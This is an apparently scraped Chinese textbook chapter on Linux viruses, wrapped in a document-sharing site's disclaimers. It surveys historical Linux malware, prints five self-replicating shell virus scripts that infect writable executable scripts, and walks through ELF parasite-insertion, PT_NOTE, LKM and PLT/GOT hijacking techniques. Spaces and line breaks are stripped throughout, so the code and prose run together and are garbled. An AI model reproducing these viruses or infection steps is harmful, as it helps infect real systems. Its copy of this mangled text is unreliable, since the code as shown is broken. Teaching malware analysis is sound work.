版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1第4章Linux病毒技術(shù)
本章的學(xué)習(xí)目標:了解Linux的安全問題掌握Linux病毒的概念掌握Linux下的腳本病毒掌握ELF病毒感染方法Linux安全嗎?一個最大的誤區(qū)就是很多高性能的安全操作系統(tǒng)可以預(yù)防計算機病毒。另一個誤區(qū)就是認為Linux系統(tǒng)尤其可以防止病毒的感染,因為Linux的程序都來自于源代碼,不是二進制格式。第三個誤區(qū)就是認為Linux系統(tǒng)是絕對安全的,因為它具有很多不同的平臺,而且每個版本的Linux系統(tǒng)有很大的不一樣。Linux病毒列表Slapper:ThemostdangerousLinuxworm;it'snetwork-awareandinAugust2002itexploitedaflawinOpenSSLlibrariesinApacheserverswithOpenSSLenabled.Bliss:Alsoawell-knownbug,itinfectsELFexecutables,locatingbinarieswithwriteaccessandoverwritesthosewithitsowncode.Staog:ConsideredthefirstLinuxvirus,itinfectsELFexecutables.Typot:ALinuxTrojanthatdoesdistributedportscanning,generatingTCPpacketswithawindowsizeof55808.Mydoom:Windowswormhavenetworkpropagationandprocessterminationcapabilitiestolaunchadenialofservice(DoS)attackon.
TNF:
ADDoSagent.MakesICMPflood,SYNflood,UDPflood,andSmurfattacks.Italsohasthecapabilityofinstallinga“rootshell”ontotheaffectedsystem.R16.A:
Deletefileinthecurrentdirectory.Overwirte/bin/cp,/bin/ls.
Create/usr/SEXLOADER,/usr/TMP001.NOT.RAMEN:
ThefirstvirusinLinux.
Overwriteallindex.htmlinthesystem.
Addtwoftpaccount“anonymous"and"ftp”inthesystem.
Additself’sscriptin/etc/rc.d/rc.sysinit.
rpc.statd(port111/udp
),wu-ftpd(port21/tcp),LPRng(port515)LINDOSE.A:
Ararecross-platformscourge,abletojumpWindowsPEandLinuxELFexecutables.It'saproof-of-conceptwormandhasnothitthewild.MSTREAM.MST:
ADDoSagent.
ItwillopenTCPport6732andUDPport9325.
Createmasterandserverfiles.ADORE.A:
Ainternetworm.
Overwrite/bin/ps.VExecutesICMP,andopensport65535.
BIND,wu-ftpd,rpc.statd,lpd.CHEESE.A:
Include"GO"shellscript,CHEESE“perlscript,and“PSM”ELF.shellscriptGOrunsperlscriptCHEESE.Deleteall/bin/shin/etc/inetd.conf.
Closeinetd.QUASI:
ItwillinfectELFfilesinthecurrentdirectory.
Ithasnodestructiveness.PASS:
ItiswritedbyGNUC.
ItwillchangeUnixshell.VirusThreatsonLinuxEnvironmentTripleLinux病毒分類第一種:Shell腳本病毒第二種:蠕蟲病毒第三種:欺騙庫函數(shù)第四種:內(nèi)核級的傳播第五種:與平臺兼容的病毒Linux系統(tǒng)下的腳本病毒shell在不同的Linux系統(tǒng)上面的差別很小。Shell簡單易學(xué)。第一,最原始的shell病毒。#shellvirusI#forfilein./infect/*docp$0$filedone第二,一個簡單的Shell病毒#shellvirusII#forfilein./infect/*doiftest-f$file#判斷是否為文件theniftest-x$file#判斷是否可執(zhí)行theniftest-w$file#判斷是否有寫權(quán)限thenifgrep–ssh$file>.mmm#判斷是否為腳本文件thencp$0$file#覆蓋當(dāng)前文件fifififidonerm.mmm-f第三,具有感染機制的Shell病毒#shellvirusIII##infectionhead-n35$0>.test1#取病毒自身代碼并保存到.testforfilein./*#遍歷當(dāng)前目錄中的文件doecho$filehead-n2$file>.mm#提取要感染的腳本文件的第一行ifgrepinfection.mm>.mmm#判斷是否有感染標記infectionthen#已經(jīng)被感染,則跳過echo"infectedfileandrm.mm"rm-f.mmelse#尚未感染,繼續(xù)執(zhí)行iftest-f$filethenecho"test-f"iftest-x$filethenecho"test-x"iftest-w$filethenecho"test-w"ifgrep-ssh$file>.mmmthenecho"test-sandcat..."cat$file>.SAVEE#把病毒代碼放在腳本文件的開始部分cat.test1>$file#原有代碼追加在末尾cat.SAVEE>>$file#形成含有病毒代碼的腳本文件fififififidonerm.test1.SAVEE.mmm.mm–f#清理工作第四,更加晦澀的病毒#ShellVirusIV##infectionforfilein./*;do#分號(;)表示命令分隔符iftest-f$file&&test-x$file&&test-w$file;thenifgrep-ssh$file>/dev/nul;thenhead-n2$file>.mmifgrep-sinfection.mm>/dev/nul;thenrm-f.mm;elsehead-n14$0>.SAVEEcat$file>>.SAVEEcat.SAVEE>$filefififidonerm-f.SAVEE.mm
第五,感染特定目錄的Shell病毒#ShellVirusV##infectionxtemp=$pwd#保存當(dāng)前路徑head-n22$0>/.test1fordirin./*;do#遍歷當(dāng)前目錄iftest-d$dir;then#如果有子目錄則進入cd$dirforfilein./*;do#遍歷該目錄文件iftest-f$file&&test-x$file&&test-w$file;thenifgrep-ssh$file>/dev/nul;thenhead-n2$file>.mmifgrep-sinfection.mm>/dev/nul;thenrm-f.mm;elsecat$file>/.SAVEE#完成感染cat/.test1>$filecat/.SAVEE>>$filefififidonecd..fidonecd$xtemprm-f/.test1/.SAVEE.mm#清理工作Linux可執(zhí)行文件格式(ELF)Elf也就是“ExecutableandLinkingFormat.”Elf起源于Unix,經(jīng)改進應(yīng)用于FreeBSD和Linux等現(xiàn)有類Unix操作系統(tǒng)。微軟的PE格式也學(xué)習(xí)了ELF格式的優(yōu)點。建議參考:提前學(xué)習(xí)本章的補充知識ELF格式文件病毒感染原理無關(guān)ELF格式的感染方法覆蓋式感染這種感染最初的思路很簡單,就是將病毒體直接拷貝到宿主文件中,從開始部分覆蓋宿主文件,從而宿主文件被感染成單純的病毒體,一般情況下宿主文件會遭到破壞,若要使得在病毒執(zhí)行后仍然交換控制權(quán)給宿主文件,則需要給宿主文件備份,這里的思路并不復(fù)雜只是將原宿主文件復(fù)制到一個隱藏文件,然后在病毒體執(zhí)行完之后執(zhí)行宿主文件,使得進程映像中添加的是原宿主文件的內(nèi)容。追加式感染這種感染最初的思路也很簡單,同上面那種方式不同的是將病毒體直接追加到宿主文件中,或者將宿主追加到病毒體之后,并不存在覆蓋宿主文件的行為,從而宿主文件被感染成單純的病毒體和原宿主文件的合體,在病毒文件執(zhí)行后交換控制權(quán)給宿主文件。感染過程:查找當(dāng)前目錄下的可執(zhí)行文件(也可以進行小規(guī)模的目錄查找)找到可執(zhí)行文件test后,修改病毒體,使病毒執(zhí)行結(jié)束后能夠提取宿主文件到一個新文件,然后執(zhí)行這個新文件進行進程映像替換,即交還控制權(quán)給宿主文件;合并病毒體到test,不覆蓋宿主文件,但放在宿主文件內(nèi)容之前;執(zhí)行過程:病毒體先執(zhí)行病毒體執(zhí)行完后,找到病毒體尾部提取宿主文件到新文件執(zhí)行新文件利用ELF格式的感染方法與ELF格式相關(guān)的感染方法,需要根據(jù)ELF格式來改變ELF格式內(nèi)容,從而使病毒代碼和宿主代碼共存并且病毒代碼執(zhí)行結(jié)束后能順利交接控制權(quán)給宿主。向ELF文件中插入寄生病毒代碼要求宿主文件和病毒體都是完整的,因此插入的病毒代碼會造成段的使用大小增加。文本段數(shù)據(jù)段之間填充區(qū)段頁號頁內(nèi)內(nèi)容注釋文本段NTTTTTTTTTTTTTTTTTTTTTT:文本段代碼P:填充代碼D:數(shù)據(jù)段代碼N+1TTTTTTTTTTTTTTTTTPPPPP數(shù)據(jù)段N+2PPPPPPDDDDDDDDDDDDDDN+3DDDDDDDDDDDDDDDDDDD利用文本段之后填充在文本段末尾插入代碼有以下幾件事需要做:增加"ELFheader"中的p_shoff以包含新代碼定位"textsegmentprogramheader"
增加p_filesz算入新代碼 增加p_memsz算入新代碼對于文本段phdr之后的其他phdr
修正p_offset對于那些因插入寄生代碼影響偏移的每節(jié)的shdr
修正sh_offset在文件中物理地插入寄生代碼到這個位置根據(jù)ELF規(guī)范,p_vaddr和p_offset在Phdr中必須模pagesize相等。p_vaddr(modPAGE_SIZE)=p_offset(modPAGE_SIZE)數(shù)據(jù)段之后插入感染修改病毒代碼,使病毒代碼執(zhí)行后能夠跳轉(zhuǎn)到原來的入口點;定位數(shù)據(jù)段:修改ELF頭中的入口點,指向新的代碼,即數(shù)據(jù)段末尾處(p_vaddr+p_memsz);修改e_shoff字段指向新的節(jié)頭表偏移量,即原來的加上加入的病毒大小和bss段大??;對于數(shù)據(jù)段程序頭: 增加p_filesz用來包括新的代碼和.bss節(jié); 增加p_memsz包含入新的代碼; 計算.bss節(jié)的大小(p_memsz-p_filesz);對于任何一個插入點之后節(jié)的節(jié)頭shdr:
增加sh_offset,增加數(shù)值為病毒大小與.bss節(jié)大小的和;物理地插入病毒代碼到文件中:
移動節(jié)頭表以及其他兩個不屬于任何段的節(jié)。文本段之前插入感染修改病毒代碼使病毒代碼能夠執(zhí)行完后跳轉(zhuǎn)到原來的入口地址;修正ELF頭中的e_shoff來包含入新的代碼;定位文本段:修正文本段p_memsz和p_filesz,增大PAGESIZE大小;修正該程序頭的p_vaddrp_paddr;對任何插入點之后的段的程序頭phdr:增加p_offset來算入新的代碼;還應(yīng)修改p_vaddr,p_paddr與偏移成模運算關(guān)系;對任何插入點之后的節(jié)的節(jié)頭shdr:增加sh_offset來算入新的代碼;物理地插入病毒代碼到文件中,填充到PAGESIZE大小,將病毒體及填充插在ELF頭和程序頭表之后區(qū)域。利用函數(shù)對齊填充區(qū)感染從當(dāng)前進程中取出病毒代碼,查找合適的未被感染的ELF可執(zhí)行文件作為宿主文件,并修改病毒體,使其執(zhí)行完后能夠跳轉(zhuǎn)至宿主文件代碼入口點;查找宿主文件函數(shù)填充區(qū),找到足夠大的函數(shù)填充區(qū)并記錄;將病毒體分割;將分割后的病毒放入宿主文件多個函數(shù)填充區(qū)內(nèi),并在每一塊后設(shè)置跳轉(zhuǎn)指令,使其各部分相連接;修訂入口點,使其指向病毒體入口點。利用NOTE段或者擴展.note節(jié)查找文件中的PT_NOTE類型的段,修改PT_NOTE類型段程序頭中的字段,重點字段需要修改p_type為PT_LOAD,并將其他字段修改為合適的值,然后將ELF頭中的e_entry字段修改為PT_NOTE段的p_vaddr值,即使病毒程序先于宿主程序執(zhí)行,修改病毒程序使其執(zhí)行結(jié)束后能夠跳轉(zhuǎn)到原入口地址。然后插入病毒體到文本段中相應(yīng)位置。高級感染技術(shù)上升到內(nèi)核層次的病毒感染就是高級感染,這就需要感染內(nèi)核的模塊。對Linux最致命的病毒攻擊方式就是感染Linux內(nèi)核,也就是使用Linux的LKM。LKM是Linux內(nèi)核為了擴展其功能所使用的可加載內(nèi)核模塊。LKM的優(yōu)點:動態(tài)加載,無須重新實現(xiàn)整個內(nèi)核?;诖颂匦?,LKM常被用作特殊設(shè)備的驅(qū)動程序(或文件系統(tǒng)),如聲卡的驅(qū)動程序等等。LKM感染技術(shù)LKM在Linux操作系統(tǒng)中被廣泛使用,主要的原因就是LKM具有相對靈活的使用方式和強大的功能,可以被動態(tài)地加載,而不需要重新編譯內(nèi)核。在另一個方面,對于病毒而言,也有很多好處,比如隱藏文件和進程等,但是使用LKM是比較麻煩的,需要較高的技術(shù)要求。PLT/GOT劫持實現(xiàn)對PLT實現(xiàn)重定向的算法具體可以描述如下:將文本段修改為可寫權(quán)限;保存PLT入口點;使用新的庫調(diào)用地址替代原入口;對新的庫調(diào)用中代碼的修改:
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 鄉(xiāng)村振興可行性研究報告(5篇)
- 結(jié)算協(xié)議書范本(10篇)
- 關(guān)于禮儀廣播稿(18篇)
- 體育營銷與社會責(zé)任-洞察分析
- 《客服新人培訓(xùn)》課件
- 網(wǎng)絡(luò)擁塞緩解策略-洞察分析
- 水泥生產(chǎn)線能耗監(jiān)測-洞察分析
- 微生物酶催化合成研究-洞察分析
- 同學(xué)聚會策劃方案范文
- 無人駕駛汽車在物流配送中的應(yīng)用-洞察分析
- GB/T 45076-2024再生資源交易平臺建設(shè)規(guī)范
- 四川省巴中市2021-2022學(xué)年九年級上學(xué)期期末語文試題(解析版)
- 冬季防凍培訓(xùn)課件
- 職業(yè)衛(wèi)生監(jiān)督檢查表
- 幼兒系列故事繪本課件貝貝熊系列-受人冷落-
- 消防水池 (有限空間)作業(yè)安全告知牌及警示標志
- 2022年中醫(yī)藥人才培養(yǎng)工作總結(jié)
- 精美小升初簡歷小學(xué)生自我介紹歐式word模板[可編輯]
- 采礦學(xué)課程設(shè)計陳四樓煤礦1.8mta新井設(shè)計(全套圖紙)
- 201X最新離婚協(xié)議書(簡潔版)
- 標簽打印流程
評論
0/150
提交評論